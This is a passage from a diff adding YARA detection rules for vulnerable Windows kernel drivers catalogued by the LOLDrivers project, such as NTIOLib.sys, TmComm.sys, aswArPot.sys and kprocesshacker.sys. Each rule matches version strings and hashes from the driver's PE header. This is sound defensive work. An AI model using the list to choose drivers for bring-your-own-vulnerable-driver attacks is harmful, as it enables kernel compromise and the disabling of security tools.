+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043005000550020004400720069007600650072 } /* InternalName CPUDriver */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 } /* ProductName WindowsRCodenameLonghornDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043005000550020004400720069007600650072 } /* OriginalFilename CPUDriver */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020006200790020004100530055005300540065006b00200043004f004d0050005500540045005200200049004e0043002e00200032003000300036 } /* LegalCopyright CopyrightbyASUSTekCOMPUTERINC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_1DDF {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1ddfe4756f5db9fb319d6c6da9c41c588a729d9e7817190b027b38e9c076d219"
+		date = "2023-06-14"
+		score = 40
+		id = "54f03573-22a0-51ea-b3cd-201d27459cf1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020004d006900630072006f002d005300740061007200200049004e00540027004c00200043004f002e002c0020004c00540044002e } /* LegalCopyright CopyrightCMicroStarINTLCOLTD */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_654C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "654c5ba47f74008c8f49cbb97988017eec8c898adc3bb851bc6e1fdf9dcf54ad"
+		date = "2023-06-14"
+		score = 40
+		id = "c2883a08-8832-514d-a472-e53370fe9a88"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0030002e0031003000370032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Marvintestsolutionsinc_Hwsys_Hw_FD38 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HW.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fd388cf1df06d419b14dedbeb24c6f4dff37bea26018775f09d56b3067f0de2c"
+		hash = "6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5"
+		date = "2023-06-14"
+		score = 40
+		id = "50ae31e8-41e0-5913-b04a-63b97aa9bbc2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d00380020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 } /* FileDescription HWWindowsNTbitkernelmodedriverforPCportsmemoryPCIaccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e } /* CompanyName MarvinTestSolutionsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0038002e0032002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 } /* InternalName Hwsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 } /* ProductName HW */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 } /* OriginalFilename HWsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003100350020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightMarvinTestSolutionsIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_6E0A {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6e0aa67cfdbe27a059cbd066443337f81c5b6d37444d14792d1c765d9d122dcf"
+		date = "2023-06-14"
+		score = 40
+		id = "140374de-63f5-5ea2-9546-9356d697f971"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0036002e0034003200330035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_A2F4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a2f45d95d54f4e110b577e621fefa0483fa0e3dcca14c500c298fb9209e491c1"
+		date = "2023-06-14"
+		score = 40
+		id = "c7b13c18-84a2-5362-bd10-a80c001c6efc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100380031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Nvidiacorporation_Nvflash_Nvidiaflashdriver_AFDD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvflash.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "afdd66562dea51001c3a9de300f91fc3eb965d6848dfce92ccb9b75853e02508"
+		date = "2023-06-14"
+		score = 40
+		id = "f8e2c69d-d3fb-58f8-bc03-3ad5ce67f0bf"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072002c002000560065007200730069006f006e00200031002e0038002e0030 } /* FileDescription NVIDIAFlashDriverVersion */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056004900440049004100200043006f00720070006f0072006100740069006f006e } /* CompanyName NVIDIACorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00760066006c006100730068 } /* InternalName nvflash */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e0056004900440049004100200046006c0061007300680020004400720069007600650072 } /* ProductName NVIDIAFlashDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00760066006c006100730068002e007300790073 } /* OriginalFilename nvflashsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]002800430029002000320030003100370020004e0056004900440049004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CNVIDIACorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_F85E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f85eb576acb5db0d2f48e5f09a7244165a876fa1ca8697ebb773e4d7071d4439"
+		date = "2023-06-14"
+		score = 40
+		id = "43ea92d7-a820-5ccc-b37f-05b96ead1246"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublicbyvektortrev_26F4 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "26f41e4268be59f5de07552b51fa52d18d88be94f8895eb4a16de0f3940cf712"
+		date = "2023-06-14"
+		score = 40
+		id = "1ee8489d-ef29-5d5b-80f5-8f0a206eda3f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 } /* CompanyName VektorTSecurityService */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e003100310039003200330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 } /* InternalName VBoxDrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100380020005000750062006c00690063002000620079002000560065006b0074006f0072002000540031003300200028007200650076002e003000350029 } /* ProductName AntidetectPublicbyVektorTrev */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100380020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCOracleCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3C42 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3c4207c90c97733fae2a08679d63fbbe94dfcf96fdfdf88406aa7ab3f80ea78f"
+		date = "2023-06-14"
+		score = 40
+		id = "e4c649d8-941e-57d8-9193-a7e5c3de4671"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_55A1 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "55a1535e173c998fbbc978009b02d36ca0c737340d84ac2a8da73dfc2f450ef9"
+		hash = "c64d4ac416363c7a1aa828929544d1c1d78cf032b39769943b851cfc4c0faafc"
+		date = "2023-06-14"
+		score = 40
+		id = "3bd64a09-bfa9-5b87-8048-60e61c1a61f7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 } /* FileDescription ATSZIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTekComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* InternalName ATSZIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 } /* ProductName ATSZIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* OriginalFilename ATSZIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_1AAF {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1aaf4c1e3cb6774857e2eef27c17e68dc1ae577112e4769665f516c2e8c4e27b"
+		date = "2023-06-14"
+		score = 40
+		id = "9fc423bb-451b-52e8-ba81-7113cd1621c8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e00310031002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e00310031002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_C901 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c9014b03866bf37faa8fdb16b6af7cfec976aaef179fd5797d0c0bf8079d3a8c"
+		date = "2023-06-14"
+		score = 40
+		id = "a1c33a78-bef9-59fc-8976-876c1fe68aff"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0031003100310038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 } /* ProductName AEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Symanteccorporation_Vproeventmonitorsys_Symanteceventmonitorsdriverdevelopmentedition_7877 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VProEventMonitor.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7877c1b0e7429453b750218ca491c2825dae684ad9616642eff7b41715c70aca"
+		date = "2023-06-14"
+		score = 40
+		id = "84fa4df8-ac81-5de0-994d-9d754642a01e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e0053007900730020002d0020004500760065006e00740020004d006f006e00690074006f00720069006e00670020006400720069007600650072 } /* FileDescription VProEventMonitorSysEventMonitoringdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e } /* CompanyName SymantecCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00340035003700300038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 } /* InternalName VProEventMonitorSys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079006d0061006e0074006500630020004500760065006e00740020004d006f006e00690074006f00720073002000440072006900760065007200200044006500760065006c006f0070006d0065006e0074002000450064006900740069006f006e } /* ProductName SymantecEventMonitorsDriverDevelopmentEdition */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 } /* OriginalFilename VProEventMonitorSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d0032003000300038002000530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSymantecCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Wj_Kprocesshacker_C725 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - krpocesshacker.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c725919e6357126d512c638f993cf572112f323da359645e4088f789eb4c7b8c"
+		date = "2023-06-14"
+		score = 40
+		id = "53a8740a-65a5-5eb5-afc5-b86058982071"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 } /* FileDescription KProcessHacker */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 } /* CompanyName wj */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0038 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 } /* ProductName KProcessHacker */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 } /* OriginalFilename kprocesshackersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e } /* LegalCopyright LicensedundertheGNUGPLv */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avastsoftware_Aswarpot_Avastantivirus_7AD0 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7ad0ab23023bc500c3b46f414a8b363c5f8700861bc4745cecc14dd34bcee9ed"
+		date = "2023-06-14"
+		score = 40
+		id = "e9db51b4-48a2-53a9-999d-5676d0a4aa91"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
